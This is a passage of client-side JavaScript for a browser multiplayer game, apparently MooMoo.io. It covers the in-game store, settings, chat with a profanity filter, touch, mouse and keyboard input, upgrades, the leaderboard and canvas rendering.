                function updateStoreItems(type, id, index) {
                    if (index) {
                        if (!type)
                            player.tails[id] = 1;
                        else
                            player.tailIndex = id;
                    } else {
                        if (!type)
                            player.skins[id] = 1;
                        else
                            player.skinIndex = id;
                    }
                    if (storeMenu.style.display == "block")
                        generateStoreList();
                }
                function generateStoreList() {
                    if (player) {
                        UTILS.removeAllChildren(storeHolder);
                        var index = currentStoreIndex;
                        var tmpArray = index?accessories:hats;
                        for (var i = 0; i < tmpArray.length; ++i) {
                            if (!tmpArray[i].dontSell) {
                                (function(i) {
                                    var tmp = UTILS.generateElement({
                                        id: "storeDisplay" + i,
                                        class: "storeItem",
                                        onmouseout: function() { showItemInfo(); },
                                        onmouseover: function() { showItemInfo(tmpArray[i], false, true); },
                                        parent: storeHolder
                                    });
                                    UTILS.hookTouchEvents(tmp, true);
                                    UTILS.generateElement({
                                        tag: "img",
                                        class: "hatPreview",
                                        src: "../img/" + (index?"accessories/access_":"hats/hat_") + tmpArray[i].id + (tmpArray[i].topSprite?"_p":"") + ".png",
                                        parent: tmp
                                    });
                                    UTILS.generateElement({
                                        tag: "span",
                                        text: tmpArray[i].name,
                                        parent: tmp
                                    });
                                    if (index?(!player.tails[tmpArray[i].id]):(!player.skins[tmpArray[i].id])) {
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            style: "margin-top: 5px",
                                            text: "Buy",
                                            onclick: function() { storeBuy(tmpArray[i].id, index); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                        UTILS.generateElement({
                                            tag: "span",
                                            class: "itemPrice",
                                            text: tmpArray[i].price,
                                            parent: tmp
                                        })
                                    } else if ((index?player.tailIndex:player.skinIndex)==tmpArray[i].id) {
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            style: "margin-top: 5px",
                                            text: "Unequip",
                                            onclick: function() { storeEquip(0, index); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                    } else {
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            style: "margin-top: 5px",
                                            text: "Equip",
                                            onclick: function() { storeEquip(tmpArray[i].id, index); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                    }
                                })(i);
                            }
                        }
                    }
                }
                function storeEquip(id, index) {
                    io.send("13c", 0, id, index);
                }
                function storeBuy(id, index) {
                    io.send("13c", 1, id, index);
                }

                // HIDE WINDOWS:
                function hideAllWindows() {
                    storeMenu.style.display = "none";
                    allianceMenu.style.display = "none";
                    closeChat();
                }

                // PREPARE UI:
                function prepareUI() {

                    // NATIVE RESOLUTION:
                    var savedNativeValue = getSavedVal("native_resolution");
                    if (!savedNativeValue) {
                        setUseNativeResolution(typeof cordova !== "undefined"); // Only default to native if on mobile
                    } else {
                        setUseNativeResolution(savedNativeValue == "true");
                    }

                    // SHOW PING:
                    showPing = getSavedVal("show_ping") == "true";
                    pingDisplay.hidden = !showPing;

                    // LOAD SOUND SETTING:
                    playSound = getSavedVal("moo_moosic")||0;

                    // MOBILE DOWNLOADS:
                    setInterval(function() {
                        if (window.cordova) {
                            document.getElementById("downloadButtonContainer").classList.add("cordova");
                            document.getElementById("mobileDownloadButtonContainer").classList.add("cordova");
                        }
                    }, 1000);

                    // SKIN COLOR PICKER:
                    updateSkinColorPicker();

                    // ACTION BAR:
                    UTILS.removeAllChildren(actionBar);
                    for (var i = 0; i < (items.weapons.length+items.list.length); ++i) {
                        (function(i) {
                            UTILS.generateElement({
                                id: "actionBarItem" + i,
                                class: "actionBarItem",
                                style: "display:none",
                                onmouseout: function() {
                                    showItemInfo();
                                },
                                parent: actionBar
                            });
                        })(i);
                    }
                    for (var i = 0; i < (items.list.length + items.weapons.length); ++i) {
                        (function(i) {
                            var tmpCanvas = document.createElement('canvas');
                            tmpCanvas.width = tmpCanvas.height = 66;
                            var tmpContext = tmpCanvas.getContext('2d');
                            tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
                            tmpContext.imageSmoothingEnabled = false;
                            tmpContext.webkitImageSmoothingEnabled = false;
                            tmpContext.mozImageSmoothingEnabled = false;
                            if (items.weapons[i]) {
                                tmpContext.rotate((Math.PI/4)+Math.PI);
                                var tmpSprite = new Image();
                                toolSprites[items.weapons[i].src] = tmpSprite;
                                tmpSprite.onload = function() {
                                    this.isLoaded = true;
                                    var tmpPad = 1 / (this.height / this.width);
                                    var tmpMlt = (items.weapons[i].iPad || 1);
                                    tmpContext.drawImage(this, -(tmpCanvas.width*tmpMlt*config.iconPad*tmpPad)/2, -(tmpCanvas.height*tmpMlt*config.iconPad)/2,
                                                         tmpCanvas.width*tmpMlt*tmpPad*config.iconPad, tmpCanvas.height*tmpMlt*config.iconPad);
                                    tmpContext.fillStyle = "rgba(0, 0, 70, 0.1)";
                                    tmpContext.globalCompositeOperation = "source-atop";
                                    tmpContext.fillRect(-tmpCanvas.width / 2, -tmpCanvas.height / 2, tmpCanvas.width, tmpCanvas.height);
                                    document.getElementById('actionBarItem' + i).style.backgroundImage = "url(" + tmpCanvas.toDataURL() + ")";
                                };
                                tmpSprite.src = ".././img/weapons/" + items.weapons[i].src + ".png";
                                var tmpUnit = document.getElementById('actionBarItem' + i);
                                tmpUnit.onmouseover = UTILS.checkTrusted(function() {
                                    showItemInfo(items.weapons[i], true);
                                });
                                tmpUnit.onclick = UTILS.checkTrusted(function() {
                                    selectToBuild(i, true);
                                });
                                UTILS.hookTouchEvents(tmpUnit);
                            } else {
                                var tmpSprite = getItemSprite(items.list[i-items.weapons.length], true);
                                var tmpScale = Math.min(tmpCanvas.width - config.iconPadding, tmpSprite.width);
                                tmpContext.globalAlpha = 1;
                                tmpContext.drawImage(tmpSprite, -tmpScale / 2, -tmpScale / 2, tmpScale, tmpScale);
                                tmpContext.fillStyle = "rgba(0, 0, 70, 0.1)";
                                tmpContext.globalCompositeOperation = "source-atop";
                                tmpContext.fillRect(-tmpScale / 2, -tmpScale / 2, tmpScale, tmpScale);
                                document.getElementById('actionBarItem' + i).style.backgroundImage = "url(" + tmpCanvas.toDataURL() + ")";
                                var tmpUnit = document.getElementById('actionBarItem' + i);
                                tmpUnit.onmouseover = UTILS.checkTrusted(function() {
                                    showItemInfo(items.list[i-items.weapons.length]);
                                });
                                tmpUnit.onclick = UTILS.checkTrusted(function() {
                                    selectToBuild(i-items.weapons.length);
                                });
                                UTILS.hookTouchEvents(tmpUnit);
                            }
                        })(i);
                    }

                    // MOBILE NAME INPUT:
                    nameInput.ontouchstart = UTILS.checkTrusted(function(e) {
                        e.preventDefault();
                        var newValue = prompt("enter name", e.currentTarget.value);
                        e.currentTarget.value = newValue.slice(0, 15);
                    });

                    // SETTINGS:
                    nativeResolutionCheckbox.checked = useNativeResolution;
                    nativeResolutionCheckbox.onchange = UTILS.checkTrusted(function(e) {
                        setUseNativeResolution(e.target.checked);
                    });
                    showPingCheckbox.checked = showPing;
                    showPingCheckbox.onchange = UTILS.checkTrusted(function(e) {
                        showPing = showPingCheckbox.checked;
                        pingDisplay.hidden = !showPing;
                        saveVal("show_ping", showPing ? "true" : "false");
                    });

                    // PLAY MENU SOUND:
                    // Sound.play("menu", 1, true);
                }
                function updateItems(data, wpn) {
                    if (data) {
                        if (wpn) player.weapons = data;
                        else player.items = data;
                    }
                    for (var i = 0; i < items.list.length; ++i) {
                        var tmpI = (items.weapons.length + i);
                        document.getElementById("actionBarItem" + tmpI).style.display = (player.items.indexOf(items.list[i].id)>=0)?"inline-block":"none";
                    }
                    for (var i = 0; i < items.weapons.length; ++i) {
                        document.getElementById("actionBarItem" + i).style.display =
                            (player.weapons[items.weapons[i].type]==items.weapons[i].id)?"inline-block":"none";
                    }
                }
                function setUseNativeResolution(useNative) {
                    useNativeResolution = useNative;
                    pixelDensity = useNative ? (window.devicePixelRatio || 1) : 1;
                    nativeResolutionCheckbox.checked = useNative;
                    saveVal("native_resolution", useNative.toString());
                    resize();
                }
                function updateGuide() {
                    if (usingTouch) {
                        guideCard.classList.add("touch");
                    } else {
                        guideCard.classList.remove("touch");
                    }
                }

                // SETTINGS STUFF:
                function toggleSettings() {
                    if (guideCard.classList.contains("showing")) {
                        guideCard.classList.remove("showing");
                        settingsButtonTitle.innerText = "Settings";
                    } else {
                        guideCard.classList.add("showing");
                        settingsButtonTitle.innerText = "Close";
                    }
                }

                // SELECT SKIN COLOR:
                function updateSkinColorPicker() {
                    var tmpHTML = "";
                    for (var i = 0; i < config.skinColors.length; ++i) {
                        if (i == skinColor) {
                            tmpHTML += ("<div class='skinColorItem activeSkin' style='background-color:" +
                                        config.skinColors[i] + "' onclick='selectSkinColor(" + i + ")'></div>");
                        } else {
                            tmpHTML += ("<div class='skinColorItem' style='background-color:" +
                                        config.skinColors[i] + "' onclick='selectSkinColor(" + i + ")'></div>");
                        }
                    }
                    skinColorHolder.innerHTML = tmpHTML;
                }
                function selectSkinColor(index) {
                    skinColor = index;
                    updateSkinColorPicker();
                }

                // CHAT STUFF:
                var chatBox = document.getElementById("chatBox");
                var chatHolder = document.getElementById("chatHolder");
                function toggleChat() {
                    if (!usingTouch) {
                        if (chatHolder.style.display == "block") {
                            if (chatBox.value) {
                                sendChat(chatBox.value);
                            }
                            closeChat();
                        } else {
                            storeMenu.style.display = "none";
                            allianceMenu.style.display = "none";
                            chatHolder.style.display = "block";
                            chatBox.focus();
                            resetMoveDir();
                        }
                    } else {
                        setTimeout(function() { // Timeout lets the `hookTouchEvents` function exit
                            var chatMessage = prompt("chat message");
                            if (chatMessage) {
                                sendChat(chatMessage);
                            }
                        }, 1);
                    }
                    chatBox.value = "";
                }
                function sendChat(message) {
                    io.send("ch", message.slice(0, 30));
                }
                function closeChat() {
                    chatBox.value = "";
                    chatHolder.style.display = "none";
                }

                // SEND MESSAGE:
                var profanityList = ["cunt", "whore", "fuck", "shit", "faggot", "nigger",
                                     "nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex",
                                     "tits", "penis", "clit", "pussy", "meatcurtain", "jizz", "prune",
                                     "douche", "wanker", "damn", "bitch", "dick", "fag", "bastard"];
                function checkProfanityString(text) {
                    var tmpString;
                    for (var i = 0; i < profanityList.length; ++i) {
                        if (text.indexOf(profanityList[i]) > -1) {
                            tmpString = "";
                            for (var y = 0; y < profanityList[i].length; ++y) {
                                tmpString += tmpString.length?"o":"M";
                            }
                            var re = new RegExp(profanityList[i], 'g');
                            text = text.replace(re, tmpString);
                        }
                    }
                    return text;
                }
                function receiveChat(sid, message) {
                    var tmpPlayer = findPlayerBySID(sid);
                    if (tmpPlayer) {
                        tmpPlayer.chatMessage = checkProfanityString(message);
                        tmpPlayer.chatCountdown = config.chatCountdown;
                    }
                }

                // RESIZE:
                window.addEventListener('resize', UTILS.checkTrusted(resize));
                function resize() {
                    screenWidth = window.innerWidth;
                    screenHeight = window.innerHeight;
                    var scaleFillNative = Math.max(screenWidth / maxScreenWidth, screenHeight / maxScreenHeight) * pixelDensity;
                    gameCanvas.width = screenWidth * pixelDensity;
                    gameCanvas.height = screenHeight * pixelDensity;
                    gameCanvas.style.width = screenWidth + "px";
                    gameCanvas.style.height = screenHeight + "px";
                    mainContext.setTransform(
                        scaleFillNative, 0,
                        0, scaleFillNative,
                        (screenWidth * pixelDensity - (maxScreenWidth * scaleFillNative)) / 2,
                        (screenHeight * pixelDensity - (maxScreenHeight * scaleFillNative)) / 2
                    );
                }
                resize();

                // TOUCH INPUT:
                var usingTouch;
                setUsingTouch(false);
                function setUsingTouch(using) {
                    usingTouch = using;
                    updateGuide();
                    // if (using) {
                    //     chatButton.classList.add("mobile");
                    // } else {
                    //     chatButton.classList.remove("mobile");
                    // }
                }
                window.setUsingTouch = setUsingTouch;

                gameCanvas.addEventListener('touchmove', UTILS.checkTrusted(touchMove), false);
                function touchMove(ev) {
                    ev.preventDefault();
                    ev.stopPropagation();
                    setUsingTouch(true);
                    for (var i = 0; i < ev.changedTouches.length; i++) {
                        var t = ev.changedTouches[i];
                        if (t.identifier == controllingTouch.id) {
                            controllingTouch.currentX = t.pageX;
                            controllingTouch.currentY = t.pageY;
                            sendMoveDir();
                        } else if (t.identifier == attackingTouch.id) {
                            attackingTouch.currentX = t.pageX;
                            attackingTouch.currentY = t.pageY;
                            attackState = 1;
                        }
                    }
                }
                gameCanvas.addEventListener('touchstart', UTILS.checkTrusted(touchStart), false);
                function touchStart(ev) {
                    ev.preventDefault();
                    ev.stopPropagation();
                    setUsingTouch(true);
                    for (var i = 0; i < ev.changedTouches.length; i++) {
                        var t = ev.changedTouches[i];
                        if (t.pageX < document.body.scrollWidth / 2 && controllingTouch.id == -1) {
                            controllingTouch.id = t.identifier;
                            controllingTouch.startX = controllingTouch.currentX = t.pageX;
                            controllingTouch.startY = controllingTouch.currentY = t.pageY;
                            sendMoveDir();
                        } else if (t.pageX > document.body.scrollWidth / 2 && attackingTouch.id == -1) {
                            attackingTouch.id = t.identifier;
                            attackingTouch.startX = attackingTouch.currentX = t.pageX;
                            attackingTouch.startY = attackingTouch.currentY = t.pageY;
                            if (player.buildIndex < 0) {
                                attackState = 1;
                                sendAtckState();
                            }
                        }
                    }
                }
                gameCanvas.addEventListener('touchend', UTILS.checkTrusted(touchEnd), false);
                gameCanvas.addEventListener('touchcancel', UTILS.checkTrusted(touchEnd), false);
                gameCanvas.addEventListener('touchleave', UTILS.checkTrusted(touchEnd), false);
                function touchEnd(ev) {
                    ev.preventDefault();
                    ev.stopPropagation();
                    setUsingTouch(true);
                    for (var i = 0; i < ev.changedTouches.length; i++) {
                        var t = ev.changedTouches[i];
                        if (t.identifier == controllingTouch.id) {
                            controllingTouch.id = -1;
                            sendMoveDir();
                        } else if (t.identifier == attackingTouch.id) {
                            attackingTouch.id = -1;
                            if (player.buildIndex >= 0) {
                                attackState = 1;
                                sendAtckState();
                            }
                            attackState = 0;
                            sendAtckState();
                        }
                    }
                }


                // MOUSE INPUT:
                gameCanvas.addEventListener('mousemove', gameInput, false);
                function gameInput(e) {
                    e.preventDefault();
                    e.stopPropagation();
                    setUsingTouch(false);
                    mouseX = e.clientX;
                    mouseY = e.clientY;
                }
                gameCanvas.addEventListener('mousedown', mouseDown, false);
                function mouseDown(e) {
                    setUsingTouch(false);
                    if (attackState != 1) {
                        attackState = 1;
                        sendAtckState();
                    }
                }
                gameCanvas.addEventListener('mouseup', mouseUp, false);
                function mouseUp(e) {
                    setUsingTouch(false);
                    if (attackState != 0) {
                        attackState = 0;
                        sendAtckState();
                    }
                }

                // INPUT UTILS:
                function getMoveDir() {
                    var dx = 0;
                    var dy = 0;
                    if (controllingTouch.id != -1) {
                        dx += controllingTouch.currentX - controllingTouch.startX;
                        dy += controllingTouch.currentY - controllingTouch.startY;
                    } else {
                        for (var key in moveKeys) {
                            var tmpDir = moveKeys[key];
                            dx += !!keys[key] * tmpDir[0];
                            dy += !!keys[key] * tmpDir[1];
                        }
                    }
                    return (dx == 0 && dy == 0) ? undefined : UTILS.fixTo(Math.atan2(dy, dx), 2);
                }
                var lastDir;
                function getAttackDir() {
                    if (!player)
                        return 0;
                    if (attackingTouch.id != -1) {
                        lastDir = Math.atan2(
                            attackingTouch.currentY - attackingTouch.startY,
                            attackingTouch.currentX - attackingTouch.startX
                        );
                    } else if (!player.lockDir && !usingTouch) {
                        lastDir = Math.atan2(mouseY - (screenHeight / 2), mouseX - (screenWidth / 2));
                    }
                    return UTILS.fixTo(lastDir || 0, 2);
                }

                // KEYS:
                var keys = {};
                var moveKeys = {
                    87: [0,-1],
                    38: [0,-1],
                    83: [0,1],
                    40: [0,1],
                    65: [-1,0],
                    37: [-1,0],
                    68: [1,0],
                    39: [1,0]
                };
                function resetMoveDir() {
                    keys = {};
                    io.send("rmd");
                }
                function keysActive() {
                    return (allianceMenu.style.display != "block"
                            && chatHolder.style.display != "block");
                }
                function keyDown(event) {
                    var keyNum = event.which||event.keyCode||0;
                    if (keyNum == 27) {
                        hideAllWindows();
                    } else if (player && player.alive && keysActive()) {
                        if (!keys[keyNum]) {
                            keys[keyNum] = 1;
                            if (keyNum == 69) {
                                sendAutoGather();
                            } else if (keyNum == 67) {
                                updateMapMarker();
                            } else if (keyNum == 88) {
                                sendLockDir();
                            } else if (player.weapons[keyNum - 49] != undefined) {
                                selectToBuild(player.weapons[keyNum - 49], true);
                            } else if (player.items[keyNum - 49 - player.weapons.length] != undefined) {
                                selectToBuild(player.items[keyNum - 49 - player.weapons.length]);
                            } else if (keyNum == 81) {
                                selectToBuild(player.items[0]);
                            } else if (keyNum == 82) {
                                sendMapPing();
                            } else if (moveKeys[keyNum]) {
                                sendMoveDir();
                            } else if (keyNum == 32) {
                                attackState = 1;
                                sendAtckState();
                            }
                        }
                    }
                }
                window.addEventListener('keydown', UTILS.checkTrusted(keyDown));
                function keyUp(event) {
                    if (player && player.alive) {
                        var keyNum = event.which||event.keyCode||0;
                        if (keyNum == 13) {
                            toggleChat();
                        } else if (keysActive()) {
                            if (keys[keyNum]) {
                                keys[keyNum] = 0;
                                if (moveKeys[keyNum]) {
                                    sendMoveDir();
                                } else if (keyNum == 32) {
                                    attackState = 0;
                                    sendAtckState();
                                }
                            }
                        }
                    }
                }
                window.addEventListener('keyup',  UTILS.checkTrusted(keyUp));
                function sendAtckState() {
                    if (player && player.alive) {
                        io.send("c", attackState, (player.buildIndex >= 0?getAttackDir():null));
                    }
                }
                var lastMoveDir = undefined;
                function sendMoveDir() {
                    var newMoveDir = getMoveDir();
                    if (lastMoveDir == undefined || newMoveDir == undefined || Math.abs(newMoveDir - lastMoveDir) > 0.3) {
                        io.send("33", newMoveDir);
                        lastMoveDir = newMoveDir;
                    }
                }
                function sendLockDir() {
                    player.lockDir = player.lockDir?0:1;
                    io.send("7", 0);
                }
                function sendMapPing() {
                    io.send("14", 1);
                }
                function sendAutoGather() {
                    io.send("7", 1);
                }
                function selectToBuild(index, wpn) {
                    io.send("5", index, wpn);
                }

                // ENTER GAME:
                function enterGame() {
                    saveVal("moo_name", nameInput.value);
                    if (!inGame && socketReady()) {
                        inGame = true;
                        Sound.stop("menu");
                        showLoadingText("Loading...");
                        io.send("sp", {
                            name: nameInput.value,
                            moofoll: moofoll,
                            skin: skinColor
                        });
                    }
                }

                // SETUP GAME:
                var firstSetup = true;
                function setupGame(yourSID) {
                    loadingText.style.display = "none";
                    menuCardHolder.style.display = "block";
                    mainMenu.style.display = "none";
                    keys = {};
                    playerSID = yourSID;
                    attackState = 0;
                    inGame = true;
                    if (firstSetup) {
                        firstSetup = false;
                        gameObjects.length = 0;
                    }
                }

                // SHOW ANIM TEXT:
                function showText(x, y, value, type) {
                    textManager.showText(x, y, 50, 0.18, 500, Math.abs(value), (value>=0)?"#fff":"#8ecc51");
                }

                // KILL PLAYER:
                var deathTextScale = 99999;
                function killPlayer() {
                    inGame = false;
                    try {
                        factorem.refreshAds([2], true);
                    } catch (e) {};
                    gameUI.style.display = "none";
                    hideAllWindows();
                    lastDeath = {
                        x: player.x,
                        y: player.y
                    };
                    loadingText.style.display = "none";
                    diedText.style.display = "block";
                    diedText.style.fontSize = "0px";
                    deathTextScale = 0;
                    setTimeout(function() {
                        menuCardHolder.style.display = "block";
                        mainMenu.style.display = "block";
                        // Sound.play("menu", 1, true);
                        diedText.style.display = "none";
                    }, config.deathFadeout);

                    // UPDATE SERVER LIST:
                    updateServerList();
                }

                // KILL ALL OBJECTS BY A PLAYER:
                function killObjects(sid) {
                    if (player) objectManager.removeAllItems(sid);
                }

                // KILL OBJECT:
                function killObject(sid) {
                    objectManager.disableBySid(sid);
                }

                // UPDATE SCORE DISPLAY:
                function updateStatusDisplay() {
                    scoreDisplay.innerText = player.points;
                    foodDisplay.innerText = player.food;;
                    woodDisplay.innerText = player.wood;
                    stoneDisplay.innerText = player.stone;
                    killCounter.innerText = player.kills;
                }

                // ICONS:
                var iconSprites = {};
                var icons = ["crown", "skull"];
                function loadIcons() {
                    for (var i = 0; i < icons.length; ++i) {
                        var tmpSprite = new Image();
                        tmpSprite.onload = function() {
                            this.isLoaded = true;
                        };
                        tmpSprite.src = ".././img/icons/" + icons[i] + ".png";
                        iconSprites[icons[i]] = tmpSprite;
                    }
                }

                // UPDATE UPGRADES:
                var tmpList = [];
                function updateUpgrades(points, age) {
                    player.upgradePoints = points;
                    player.upgrAge = age;
                    if (points > 0) {
                        tmpList.length = 0;
                        UTILS.removeAllChildren(upgradeHolder);
                        for (var i = 0; i < items.weapons.length; ++i) {
                            if (items.weapons[i].age == age && (items.weapons[i].pre == undefined || player.weapons.indexOf(items.weapons[i].pre) >= 0)) {
                                var e = UTILS.generateElement({
                                    id: "upgradeItem" + i,
                                    class: "actionBarItem",
                                    onmouseout: function() { showItemInfo(); },
                                    parent: upgradeHolder
                                });
                                e.style.backgroundImage = document.getElementById("actionBarItem" + i).style.backgroundImage;
                                tmpList.push(i);
                            }
                        }
                        for (var i = 0; i < items.list.length; ++i) {
                            if (items.list[i].age == age && (items.list[i].pre == undefined || player.items.indexOf(items.list[i].pre) >= 0)) {
                                var tmpI = (items.weapons.length + i);
                                var e = UTILS.generateElement({
                                    id: "upgradeItem" + tmpI,
                                    class: "actionBarItem",
                                    onmouseout: function() { showItemInfo(); },
                                    parent: upgradeHolder
                                });
                                e.style.backgroundImage = document.getElementById("actionBarItem" + tmpI).style.backgroundImage;
                                tmpList.push(tmpI);
                            }
                        }
                        for (var i = 0; i < tmpList.length; i++) {
                            (function(i) {
                                var tmpItem = document.getElementById('upgradeItem' + i);
                                tmpItem.onmouseover = function() {
                                    if (items.weapons[i]) {
                                        showItemInfo(items.weapons[i], true);
                                    } else {
                                        showItemInfo(items.list[i-items.weapons.length]);
                                    }
                                };
                                tmpItem.onclick = UTILS.checkTrusted(function() {
                                    io.send("6", i);
                                });
                                UTILS.hookTouchEvents(tmpItem);
                            })(tmpList[i]);
                        }
                        if (tmpList.length) {
                            upgradeHolder.style.display = "block";
                            upgradeCounter.style.display = "block";
                            upgradeCounter.innerHTML = "SELECT ITEMS (" + points + ")";
                        } else {
                            upgradeHolder.style.display = "none";
                            upgradeCounter.style.display = "none";
                            showItemInfo();
                        }
                    } else {
                        upgradeHolder.style.display = "none";
                        upgradeCounter.style.display = "none";
                        showItemInfo();
                    }
                }
                function sendUpgrade(index) {
                    io.send("6", index);
                }

                // UPDATE AGE:
                function updateAge(xp, mxp, age) {
                    if (xp != undefined)
                        player.XP = xp;
                    if (mxp != undefined)
                        player.maxXP = mxp;
                    if (age != undefined)
                        player.age = age;
                    if (age == config.maxAge) {
                        ageText.innerHTML = "MAX AGE";
                        ageBarBody.style.width = "100%";
                    } else {
                        ageText.innerHTML = "AGE " + player.age;
                        ageBarBody.style.width = ((player.XP/player.maxXP) * 100) + "%";
                    }
                }

                // UPDATE LEADERBOARD:
                function updateLeaderboard(data) {
                    UTILS.removeAllChildren(leaderboardData);
                    var tmpC = 1;
                    for (var i = 0; i < data.length; i += 3) {
                        (function(i) {
                            UTILS.generateElement({
                                class: "leaderHolder",
                                parent: leaderboardData,
                                children: [
                                    UTILS.generateElement({
                                        class: "leaderboardItem",
                                        style: "color:" + ((data[i] == playerSID) ? "#fff" : "rgba(255,255,255,0.6)"),
                                        text: tmpC + ". " + (data[i+1] != "" ? data[i+1] : "unknown")
                                    }),
                                    UTILS.generateElement({
                                        class: "leaderScore",
                                        text: UTILS.kFormat(data[i+2]) || "0"
                                    })
                                ]
                            });
                        })(i);
                        tmpC++;
                    }
                }

                // UPDATE GAME:
                function updateGame() {
                    if (true) {

                        // UPDATE DIRECTION:
                        if (player) {
                            if (!lastSent || now - lastSent >= (1000 / config.clientSendRate)) {
                                lastSent = now;
                                io.send("2", getAttackDir());
                            }
                        }

                        // DEATH TEXT:
                        if (deathTextScale < 120) {
                            deathTextScale += 0.1 * delta;
                            diedText.style.fontSize = Math.min(Math.round(deathTextScale), 120) + "px";
                        }

                        // MOVE CAMERA:
                        if (player) {
                            var tmpDist = UTILS.getDistance(camX, camY, player.x, player.y);
                            var tmpDir = UTILS.getDirection(player.x, player.y, camX, camY);
                            var camSpd = Math.min(tmpDist * 0.01 * delta, tmpDist);
                            if (tmpDist > 0.05) {
                                camX += camSpd * Math.cos(tmpDir);
                                camY += camSpd * Math.sin(tmpDir);
                            } else {
                                camX = player.x;
                                camY = player.y;
                            }
                        } else {
                            camX = config.mapScale / 2;
                            camY = config.mapScale / 2;
                        }

                        // INTERPOLATE PLAYERS AND AI:
                        var lastTime = now - (1000 / config.serverUpdateRate);
                        var tmpDiff;
                        for (var i = 0; i < players.length + ais.length; ++i) {
                            tmpObj = players[i]||ais[i-players.length];
                            if (tmpObj && tmpObj.visible) {
                                if (tmpObj.forcePos) {
                                    tmpObj.x = tmpObj.x2;
                                    tmpObj.y = tmpObj.y2;
                                    tmpObj.dir = tmpObj.d2;
                                } else {
                                    var total = tmpObj.t2 - tmpObj.t1;
                                    var fraction = lastTime - tmpObj.t1;
                                    var ratio = (fraction / total);
                                    var rate = 170;
                                    tmpObj.dt += delta;
                                    var tmpRate = Math.min(1.7, tmpObj.dt / rate);
                                    var tmpDiff = (tmpObj.x2 - tmpObj.x1);
                                    tmpObj.x = tmpObj.x1 + (tmpDiff * tmpRate);
                                    tmpDiff = (tmpObj.y2 - tmpObj.y1);
                                    tmpObj.y = tmpObj.y1 + (tmpDiff * tmpRate);
                                    tmpObj.dir = Math.lerpAngle(tmpObj.d2, tmpObj.d1, Math.min(1.2, ratio));
                                }
                            }
                        }

                        // RENDER CORDS:
                        var xOffset = camX - (maxScreenWidth / 2);
                        var yOffset = camY - (maxScreenHeight / 2);

                        // RENDER BACKGROUND:
                        if (config.snowBiomeTop - yOffset <= 0 && config.mapScale - config.snowBiomeTop - yOffset >= maxScreenHeight) {
                            mainContext.fillStyle = "#b6db66";
                            mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
                        } else if (config.mapScale - config.snowBiomeTop - yOffset <= 0) {
                            mainContext.fillStyle = "#dbc666";
                            mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
                        } else if (config.snowBiomeTop - yOffset >= maxScreenHeight) {
                            mainContext.fillStyle = "#fff";
                            mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
                        } else if (config.snowBiomeTop - yOffset >= 0) {
                            mainContext.fillStyle = "#fff";
                            mainContext.fillRect(0, 0, maxScreenWidth, config.snowBiomeTop - yOffset);
                            mainContext.fillStyle = "#b6db66";
                            mainContext.fillRect(0, config.snowBiomeTop - yOffset, maxScreenWidth,
                                                 maxScreenHeight - (config.snowBiomeTop - yOffset));
                        } else {
                            mainContext.fillStyle = "#b6db66";
                            mainContext.fillRect(0, 0, maxScreenWidth,
                                                 (config.mapScale - config.snowBiomeTop - yOffset));
                            mainContext.fillStyle = "#dbc666";
                            mainContext.fillRect(0, (config.mapScale - config.snowBiomeTop - yOffset), maxScreenWidth,
                                                 maxScreenHeight - (config.mapScale - config.snowBiomeTop - yOffset));
                        }

                        // RENDER WATER AREAS:
                        if (!firstSetup) {
                            waterMult += waterPlus * config.waveSpeed * delta;
                            if (waterMult >= config.waveMax) {
                                waterMult = config.waveMax;
                                waterPlus = -1;
                            } else if (waterMult <= 1) {
                                waterMult = waterPlus = 1;
                            }
                            mainContext.globalAlpha = 1;
                            mainContext.fillStyle = "#dbc666";
                            renderWaterBodies(xOffset, yOffset, mainContext, config.riverPadding);
                            mainContext.fillStyle = "#91b2db";
                            renderWaterBodies(xOffset, yOffset, mainContext, (waterMult - 1) * 250);
                        }

                        // RENDER GRID:
                        mainContext.lineWidth = 4;
                        mainContext.strokeStyle = "#000";
                        mainContext.globalAlpha = 0.06;
                        mainContext.beginPath();
                        for (var x = -camX; x < maxScreenWidth; x += maxScreenHeight / 18) {
                            if (x > 0) {
                                mainContext.moveTo(x, 0);
                                mainContext.lineTo(x, maxScreenHeight);
                            }
                        }
                        for (var y = -camY; y < maxScreenHeight; y += maxScreenHeight / 18) {
                            if (x > 0) {
                                mainContext.moveTo(0, y);
                                mainContext.lineTo(maxScreenWidth, y);
                            }
                        }
                        mainContext.stroke();

                        // RENDER BOTTOM LAYER:
                        mainContext.globalAlpha = 1;
                        mainContext.strokeStyle = outlineColor;
                        renderGameObjects(-1, xOffset, yOffset);

                        // RENDER PROJECTILES:
                        mainContext.globalAlpha = 1;
                        mainContext.lineWidth = outlineWidth;
                        renderProjectiles(0, xOffset, yOffset);

                        // RENDER PLAYERS:
                        renderPlayers(xOffset, yOffset, 0);

                        // RENDER AI:
                        mainContext.globalAlpha = 1;
                        for (var i = 0; i < ais.length; ++i) {
                            tmpObj = ais[i];
                            if (tmpObj.active && tmpObj.visible) {
                                tmpObj.animate(delta);
                                mainContext.save();
                                mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);
                                mainContext.rotate(tmpObj.dir+tmpObj.dirPlus-(Math.PI/2));
                                renderAI(tmpObj, mainContext);
                                mainContext.restore();
                            }
                        }

                        // RENDER GAME OBJECTS (LAYERED):
                        renderGameObjects(0, xOffset, yOffset);
                        renderProjectiles(1, xOffset, yOffset);
                        renderGameObjects(1, xOffset, yOffset);
                        renderPlayers(xOffset, yOffset, 1);
                        renderGameObjects(2, xOffset, yOffset);
                        renderGameObjects(3, xOffset, yOffset);

                        // MAP BOUNDARIES:
                        mainContext.fillStyle = "#000";
                        mainContext.globalAlpha = 0.09;
                        if (xOffset <= 0) {
                            mainContext.fillRect(0, 0, -xOffset, maxScreenHeight);
                        } if (config.mapScale - xOffset <= maxScreenWidth) {
                            var tmpY = Math.max(0, -yOffset);
                            mainContext.fillRect(config.mapScale - xOffset, tmpY, maxScreenWidth - (config.mapScale - xOffset), maxScreenHeight - tmpY);
                        } if (yOffset <= 0) {
                            mainContext.fillRect(-xOffset, 0, maxScreenWidth + xOffset, -yOffset);
